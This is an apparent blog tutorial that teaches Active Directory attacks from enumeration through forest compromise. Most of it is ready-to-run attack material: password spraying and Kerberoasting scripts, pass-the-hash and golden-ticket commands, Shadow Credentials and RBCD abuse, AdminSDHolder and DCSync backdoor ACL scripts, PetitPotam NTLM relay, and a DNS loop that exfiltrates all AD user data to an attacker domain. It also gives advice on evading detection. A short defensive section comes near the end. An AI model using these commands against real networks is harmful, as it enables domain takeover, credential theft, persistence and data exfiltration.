Windows Active Directory Attacks

Welcome to the AD Attack Playground!
Hey there, I've spent hours mapping out Active Directory attack techniques in real-world environments, and today I'm sharing my personal toolkit for AD privilege escalation that works consistently even in hardened environments. This guide will take you from absolute beginner to expert-level AD attacker, covering everything you need to know to pwn domains like a pro.
What the Hell is Active Directory Anyway?
If you're completely new to this, let's start with the basics. Active Directory (AD) is Microsoft's identity management service that forms the backbone of most corporate networks. Think of it as a massive hierarchical database that stores information about all network resources—users, computers, printers, file shares, and more.
Here's why attackers love targeting it:
- It's the keys to the kingdom - compromise AD, and you own the entire network
- It's complex as hell - complexity breeds misconfigurations
- It's designed for usability, not security - the defaults often favor convenience over security
The Core Components
Active Directory
├── Domain Controllers (The servers running AD)
│ ├── NTDS.dit (The database storing all the juicy stuff)
│ └── SYSVOL (Network share containing Group Policies)
├── Objects
│ ├── Users (People and service accounts)
│ ├── Computers (Workstations and servers)
│ ├── Groups (Collections of users/computers)
│ └── OUs (Organizational Units - containers for objects)
└── Authentication Services
├── Kerberos (Ticket-based auth)
└── NTLM (Legacy challenge-response auth)
Authentication 101: How Users Prove Their Identity
Before we can hack AD, we need to understand how authentication works. There are two main protocols:
Kerberos is the primary authentication protocol in modern AD environments. It uses tickets rather than directly transmitting passwords:
- User requests a TGT (Ticket Granting Ticket) from the KDC (Key Distribution Center)
- User uses that TGT to request service tickets for specific resources
- User presents service ticket to access resources
NTLM is the older protocol that's still widely used as a fallback:
- Client sends username to server
- Server sends a challenge
- Client encrypts challenge with password hash and sends response
- Server verifies response with domain controller
💡 Quick Tip: Many AD attacks target the authentication process. Understanding this flow is crucial for attacks like Pass-the-Hash, Pass-the-Ticket, and Kerberoasting.
Your First Attack Surface: The AD Database
Every domain controller has a file called NTDS.dit - this database contains all user objects, including their password hashes. If you can extract this file, you effectively own the domain. But don't worry, we'll get to that in later levels.
Tooling Up: What You Need to Get Started
Every AD pentester needs a basic toolkit. Here's what I recommend for beginners:
- BloodHound - Visualizes AD relationships and attack paths
- Mimikatz - Swiss Army knife for credential theft
- PowerView - PowerShell module for AD enumeration
- Rubeus - Kerberos abuse toolkit
- Impacket - Collection of Python scripts for various AD attacks
If this all sounds intimidating, don't worry. We'll cover how to use these tools as we progress.
Reconnaissance: Finding Your Way Around
Before you can attack anything, you need to understand what you're looking at. Here are some basic enumeration techniques:
Using Built-in Tools:
# List all domain users
net user /domain
# Get info about a specific user
net user username /domain
# List domain groups
net group /domain
# See domain controllers
nltest /dclist:domain.local
PowerView for More Detailed Enumeration:
# Import PowerView
Import-Module .\PowerView.ps1
# Get all domain users
Get-DomainUser | Select-Object samaccountname, description
# Find users with SPN set (potential Kerberoasting targets)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# Get all domain computers
Get-DomainComputer | Select-Object name, operatingsystem
# Find domain admins
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
Password Attacks: The Low-Hanging Fruit
Password Spraying:
Password spraying is trying a single common password against many accounts. Unlike brute forcing (many passwords against one account), this avoids account lockouts:
# Basic example using PowerShell
$password = ConvertTo-SecureString "Spring2025!" -AsPlainText -Force
$users = Get-Content .\users.txt
foreach ($user in $users) {
$cred = New-Object System.Management.Automation.PSCredential("$env:USERDOMAIN\$user", $password)
try {
New-PSDrive -Name "TempDrive" -PSProvider "FileSystem" -Root "\\dc01\SYSVOL" -Credential $cred -ErrorAction Stop
Write-Host "[+] $user : $password" -ForegroundColor Green
Remove-PSDrive "TempDrive"
} catch {
Write-Host "[-] $user : $password" -ForegroundColor Red
}
}
Kerberoasting: Your First AD-Specific Attack
Kerberoasting targets service accounts by requesting Kerberos service tickets (TGS) and cracking them offline. The beauty of this attack is that it requires minimal privileges and doesn't generate suspicious event logs.
# Using Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Using PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket | Export-Csv -Path .\tickets.csv -NoTypeInformation
Then crack them with Hashcat:
hashcat -m 13100 -a 0 hashes.txt wordlist.txt
Understanding AD Permissions and ACLs
AD uses a complex permission model based on Access Control Lists (ACLs). These define who can do what to which objects.
Basic Permission Types:
- GenericAll: Full control
- GenericWrite: Can modify most attributes
- WriteProperty: Can write to specific attributes
- WriteDACL: Can modify permissions
- WriteOwner: Can take ownership
- AllExtendedRights: Can perform special operations
- ForceChangePassword: Self-explanatory
- Self: Can modify own attributes
Finding misconfigurations in these permissions is the key to many advanced attacks.
Common Misconfigurations
Here are some juicy misconfigurations I regularly find during assessments:
- Service accounts in privileged groups - Service accounts should never be domain admins
- Excessive built-in group membership - Too many users in Administrator, Account Operator, or Backup Operator groups
- Dangerous delegation settings - Unconstrained delegation = pwned
- GPO misconfiguration - Group Policy Objects deploying insecure scripts or settings
- Weak password policies - No MFA, long password expiration, etc.
Advanced Enumeration with BloodHound
BloodHound revolutionized AD security by visualizing attack paths through the domain. It's absolutely essential for modern AD pentesting:
# Run the collector (SharpHound)
.\SharpHound.exe -CollectionMethod All -Domain contoso.local -OutputDirectory .
# Now import the data into BloodHound and start analyzing paths
BloodHound will show you a web of relationships and highlight potential attack paths. Look for:
- Shortest paths to Domain Admins
- Kerberoastable accounts
- Users with DCSync rights
- Interesting ACL-based attack paths
Lateral Movement Techniques
Once you've compromised one system, lateral movement helps you expand access:
Pass-the-Hash:
# Using Mimikatz
sekurlsa::pth /user:administrator /domain:contoso.local /ntlm:b4b9b02e6f09a9bd760f388b67351e2b
# Using Impacket
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:b4b9b02e6f09a9bd760f388b67351e2b administrator@10.10.10.10
Overpass-the-Hash:
# Convert hash to Kerberos tickets using Mimikatz
sekurlsa::pth /user:administrator /domain:contoso.local /ntlm:b4b9b02e6f09a9bd760f388b67351e2b /run:powershell.exe
# In the spawned PowerShell window
klist # Verify you have Kerberos tickets
Token Manipulation
Windows keeps access tokens in memory that can be abused:
# List available tokens with Incognito module in Mimikatz
token::list
# Impersonate a token
token::impersonate /id:1234567
# Or with Metasploit's incognito module
use incognito
list_tokens -u
impersonate_token CONTOSO\\Administrator
Introduction to ACL Abuse
ACL abuse is the bread and butter of modern AD attacks. Here's a simple example - if you have GenericAll on a user:
# Reset their password
$newpass = ConvertTo-SecureString "EvilPassword123!" -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $newpass
# Now you can authenticate as them
$cred = New-Object System.Management.Automation.PSCredential("contoso\targetuser", $newpass)
Enter-PSSession -ComputerName DC01 -Credential $cred
AS-REP Roasting: Kerberoasting's Lesser-Known Cousin
AS-REP Roasting targets users with "Do not require Kerberos preauthentication" enabled:
# Find vulnerable users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# Request tickets with Rubeus
.\Rubeus.exe asreproast /user:user /format:hashcat /outfile:asrep.txt
# Crack with Hashcat
hashcat -m 18200 -a 0 asrep.txt wordlist.txt
Shadow Credentials Attack
Shadow Credentials is a relatively new attack vector that exploits the msDS-KeyCredentialLink attribute on user objects. This attack bypasses common defenses like MFA and Credential Guard.
The msDS-KeyCredentialLink attribute was introduced to support Windows Hello for Business. When we have write access to this attribute on an object, we can add our own key and then request a TGT for that user without knowing their password!
Here's how I execute this attack:
# Step 1: Check if we can modify the attribute
Import-Module .\PowerView.ps1
Get-DomainUser -Identity targetuser | Select-Object -ExpandProperty msds-keycredentiallink
# Step 2: Generate a new key pair and update the attribute
Import-Module .\Whisker.ps1
Invoke-Whisker -Command add -Target "targetuser" -DomainController "dc01.contoso.local"
# Step 3: Use the newly created key to get a certificate
Invoke-Whisker -Command list -Target "targetuser"
# Step 4: Request a TGT using PKINIT
Rubeus.exe asktgt /user:targetuser /certificate:MIIJuAIBA... /password:"password" /domain:contoso.local /dc:dc01.contoso.local /nowrap
The output looks like this:
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=targetuser
[*] Building AS-REQ (w/ PKINIT preauth) for: 'contoso.local\targetuser'
[*] Using domain controller: 192.168.1.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFuj[...snip...]
With this TGT, I now have the same network access as the targeted user without ever knowing their password!
Quick Reference: Shadow CredentialsPrerequisites: Write access to msDS-KeyCredentialLinkTools: Whisker + RubeusDetection: Monitor for msDS-KeyCredentialLink attribute changesMitigation: Restrict write access to this attribute
Resource-Based Constrained Delegation
Resource-Based Constrained Delegation (RBCD) is a powerful escalation vector that exploits object control relationships within Active Directory.
If we have GenericWrite, WriteProperty, or AllExtendedRights permissions on a computer object, we can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to enable delegation from a principal we control.
Here's my approach:
# Step 1: Create a machine account that we control
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount "attackersystem" -Password $(ConvertTo-SecureString "Summer2025!" -AsPlainText -Force)
# Step 2: Get the SID of our machine account
$AttackerSID = Get-DomainComputer -Identity "attackersystem" -Properties objectsid | Select -Expand objectsid
# Step 3: Check if we have the necessary permissions on the target
$TargetComputer = Get-DomainComputer -Identity "targetserver"
$Path = "AD:\$($TargetComputer.DistinguishedName)"
(Get-Acl $Path).Access | Where-Object {$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty"}
# Step 4: Configure RBCD on the target computer
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer -Identity "targetserver" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Step 5: Impersonate a high-value user using S4U2Proxy
.\Rubeus.exe s4u /user:attackersystem$ /rc4:HASH_OF_MACHINE_ACCOUNT_PASSWORD /impersonateuser:administrator /msdsspn:cifs/targetserver.contoso.local /ptt
The beautiful thing about this attack is that it bypasses protections like Protected Users group and "Account is sensitive and cannot be delegated."
AdminSDHolder and SDProp Abuse
This is one of my favorite persistence techniques because it's so rarely detected.
AdminSDHolder is a container in AD that acts as a template for privileged group permissions. Every 60 minutes, a process called SDProp runs and reapplies these permissions to all protected objects.
If we can modify the AdminSDHolder container, we can grant ourselves persistent administrative access:
# Step 1: Find the AdminSDHolder container
$AdminSDHolder = Get-ADObject -LDAPFilter "(cn=adminsdholder)" -Properties *
# Step 2: Add our backdoor permissions
$UserSID = (Get-ADUser -Identity "lowprivuser").SID.Value
$ACL = Get-Acl -Path "AD:\$($AdminSDHolder.DistinguishedName)"
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$UserSID)
$ADRight = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
$Type = [System.Security.AccessControl.AccessControlType] "Allow"
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Identity, $ADRight, $Type, $InheritanceType)
$ACL.AddAccessRule($ACE)
# Step 3: Set the modified ACL
Set-Acl -Path "AD:\$($AdminSDHolder.DistinguishedName)" -AclObject $ACL
After SDProp runs (or we force it to run with Invoke-SDPropagator
), our backdoor permissions will be applied to all protected accounts and groups!
Domain Trust Abuse
Many enterprises have multiple domains connected via trust relationships, creating additional attack surfaces:
# Enumerate domain trusts
Get-DomainTrust
# Find users who can access resources across trusts
Get-DomainUser -TrustedToAuth
# Exploit child-to-parent trust using SID history
mimikatz# lsadump::dcsync /domain:child.contoso.local /user:krbtgt
# Use the NTLM hash to create a Golden Ticket with SID history
mimikatz# kerberos::golden /user:Administrator /domain:child.contoso.local /sid:S-1-5-21-child /sids:S-1-5-21-parent-519 /krbtgt:hash /ticket:trust_ticket.kirbi
Kerberos Delegation Attacks
Unconstrained delegation is a security configuration that can be exploited:
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained
# If you compromise one, wait for a privileged user to connect, then:
sekurlsa::tickets /export
# Look for high-value tickets in the output
# Then use these tickets:
kerberos::ptt administrator@krbtgt-CONTOSO.LOCAL.kirbi
DCSync Without Domain Admin
Many security professionals believe you need Domain Admin rights to perform DCSync attacks, but that's not actually true.
To perform a DCSync attack, we only need three specific extended rights on the domain object:
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
- DS-Replication-Get-Changes-In-Filtered-Set
Here's how I grant these minimal rights to perform DCSync:
# Step 1: Get a reference to the domain object
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName
# Step 2: Get the ACL of the domain object
$ACL = Get-Acl -Path "AD:\$DomainDN"
# Step 3: Create the ACE for DCSync rights
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier](Get-ADUser -Identity "stealthuser").SID)
$GUIDs = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes-All
"89e95b76-444d-4c62-991a-0facbeda640c" # DS-Replication-Get-Changes-In-Filtered-Set
)
foreach($GUID in $GUIDs) {
$ObjectType = [System.Guid]$GUID
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$Identity,
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AccessControlType]::Allow,
$ObjectType,
[System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ACL.AddAccessRule($ACE)
}
# Step 4: Apply the modified ACL
Set-Acl -Path "AD:\$DomainDN" -AclObject $ACL
# Step 5: Perform the DCSync attack
mimikatz.exe "lsadump::dcsync /domain:contoso.local /user:Administrator" exit
This targeted approach is much stealthier than requesting full Domain Admin rights.
ADCS (Active Directory Certificate Services) Attacks
Certificate services create a whole new world of attacks:
ESC1: Certificate Template Misconfiguration
# Find vulnerable templates (Client Authentication + Enrollee Supplies Subject)
Certify.exe find /vulnerable
# Request certificate
Certify.exe request /ca:CA01.contoso.local\CONTOSO-CA /template:VulnTemplate /altname:administrator
# Use certificate for authentication
Rubeus.exe asktgt /user:administrator /certificate:MIIJuAIBA... /password:password /domain:contoso.local
ESC8: NTLM Relay to Certificate Enrollment
# Set up NTLM relay
python ntlmrelayx.py -t http://ca.contoso.local/certsrv/certfnsh.asp -smb2support --adcs
# Trigger NTLM auth from target
python PetitPotam.py -d contoso.local attacker@10.10.10.10 DC01.contoso.local
Zero-day Defenses and Custom Tradecraft
At expert level, it's not just about known attacks but developing custom approaches:
- Creating your own attack tools that evade signature-based detection
- Chaining multiple vulnerabilities for novel attack paths
- Living off the land by using built-in Windows tools
- Developing counter-forensics techniques to avoid detection
- Building your own C2 infrastructure tailored to AD environments
Here's a simple proof-of-concept for a custom Kerberos request tool that avoids known signatures:
using System;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
using System.Security.Principal;
class StealthKerbRequester
{
[DllImport("secur32.dll", CharSet=CharSet.Auto, SetLastError=true)]
static extern int AcquireCredentialsHandle(
string pszPrincipal,
string pszPackage,
int fCredentialUse,
IntPtr pvLogonID,
IntPtr pAuthData,
IntPtr pGetKeyFn,
IntPtr pvGetKeyArgument,
ref SafeHandle phCredential,
ref long ptsExpiry);
// Additional P/Invoke declarations omitted for brevity
static void Main(string[] args)
{
// Custom implementation that avoids known detection signatures
}
}
Custom Covert Channels for Exfiltration
In heavily defended environments, standard exfiltration methods may be blocked:
# DNS-based data exfiltration with custom encoding
$data = Get-AdUser -Filter * | ConvertTo-Json | Compress-Archive -PassThru | ConvertTo-Base64
$chunks = [Regex]::Matches($data, '.{1,30}')
foreach($chunk in $chunks) {
$subdomain = $chunk -replace '\+','-' -replace '/','-'
Resolve-DnsName "$subdomain.exfil.attacker.com"
Start-Sleep -Milliseconds 100
}
Forest-Level Compromise and Cross-Forest Attacks
Once you've compromised a forest, attacking a trusted forest becomes possible:
# Extract krbtgt hash using DCSync
lsadump::dcsync /domain:contoso.local /user:krbtgt
# Create inter-forest TGT using
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-contoso /krbtgt:hash /service:krbtgt /target:partner.local /ticket:cross_forest.kirbi
# Convert to a usable TGS
asktgs.exe cross_forest.kirbi CIFS/server.partner.local
# Use the ticket
kirbikator.exe cifs_server.kirbi
LAPS Abuse and Management Solution Targeting
Many organizations use LAPS (Local Administrator Password Solution) to manage local admin passwords:
# Find computers using LAPS
Get-DomainComputer | Where-Object {$_."ms-Mcs-AdmPwdExpirationTime"}
# If you have read permission:
Get-DomainComputer workstation1 -Properties ms-Mcs-AdmPwd
Similarly, target management solutions like SCCM, which often have extensive privileges:
# Find SCCM servers
Get-DomainComputer -LDAPFilter "(description=*SCCM*)" -Properties operatingsystem,description
# Look for SCCM service accounts
Get-DomainUser -LDAPFilter "(description=*SCCM*)" -Properties description,serviceprincipalname
Decision Tree: Choosing the Right AD Attack Vector
Is ADCS present?
├── Yes → Check for vulnerable certificate templates
│ └── Found → Use Certipy for certificate-based attacks
└── No → Check account permissions
├── WriteProperty on user → Shadow Credentials attack
├── GenericWrite on computer → RBCD attack
├── WriteProperty on AdminSDHolder → SDProp persistence
└── None of above → Check for ACL misconfigurations with BloodHound
Defense Perspective: Detecting and Preventing Advanced AD Attacks
As someone who's been on both sides of these attacks, here are my top recommendations for defenders:
- Monitor sensitive attribute modifications:
# PowerShell script to monitor sensitive AD attribute changes
$Filter = @"
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4662)]]
and
*[EventData[Data[@Name='Properties'] and(Data='msDS-KeyCredentialLink' or Data='msDS-AllowedToActOnBehalfOfOtherIdentity')]]
</Select>
</Query>
"@
$Events = Get-WinEvent -FilterXml $Filter -MaxEvents 100
$Events | Format-Table TimeCreated, Id, Message -Wrap
- Implement Tiered Administration with separate admin accounts for workstations, servers, and domain controllers
- Enable Privileged Access Management in AD to implement just-in-time administration
- Regularly audit ACLs on sensitive objects:
# Script to audit sensitive permissions
$SensitiveObjects = @(
(Get-ADDomain).DistinguishedName,
"CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
)
foreach($Object in $SensitiveObjects) {
Write-Host "Checking permissions on $Object" -ForegroundColor Yellow
$ACL = Get-Acl -Path "AD:\$Object"
$ACL.Access | Where-Object {
$_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrator"
} | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize
}
Common Pitfalls: Why These Attacks Fail
- Not understanding the attack requirements: Each technique has specific prerequisites
- Overlooking detection mechanisms: Modern EDRs look for Mimikatz and Rubeus patterns
- Ignoring operational security: Failed attempts leave traces in event logs
- Not testing in a lab environment first: AD attacks can have unintended consequences
Technical Specifications
Attack Technique | Minimum Domain Functional Level | Tools Required | Detection Difficulty |
---|---|---|---|
Shadow Credentials | 2016+ | Whisker, Rubeus | Medium-High |
RBCD | 2012+ | PowerView, Rubeus | Medium |
AdminSDHolder Abuse | Any | PowerView/AD Module | High |
DCSync | 2008+ | Mimikatz/Impacket | Low-Medium |
PetitPotam NTLM Relay | Any | PetitPotam, ntlmrelayx | Medium |
Hands-On Challenge
Try this in your lab: Create a standard domain user, then leverage ACL misconfigurations to achieve domain admin privileges using BloodHound to identify attack paths. Can you do it without using Mimikatz or other heavily detected tools?
Key Technical Takeaways
- Modern AD attacks exploit trust relationships and permissions rather than credential theft
- Understanding the AD security model deeply is essential for finding non-traditional attack paths
- Defense requires comprehensive monitoring of AD objects, not just accounts and authentication
- RBCD and Shadow Credentials represent the evolution of AD attacks that bypass traditional security controls
What's Next?
As Microsoft continues to patch known vulnerabilities, I'm particularly interested in ADCS (Active Directory Certificate Services) attacks and certificate template misconfigurations. These represent some of the most powerful privilege escalation vectors in modern AD environments.
That’s a wrap from the Danger Team.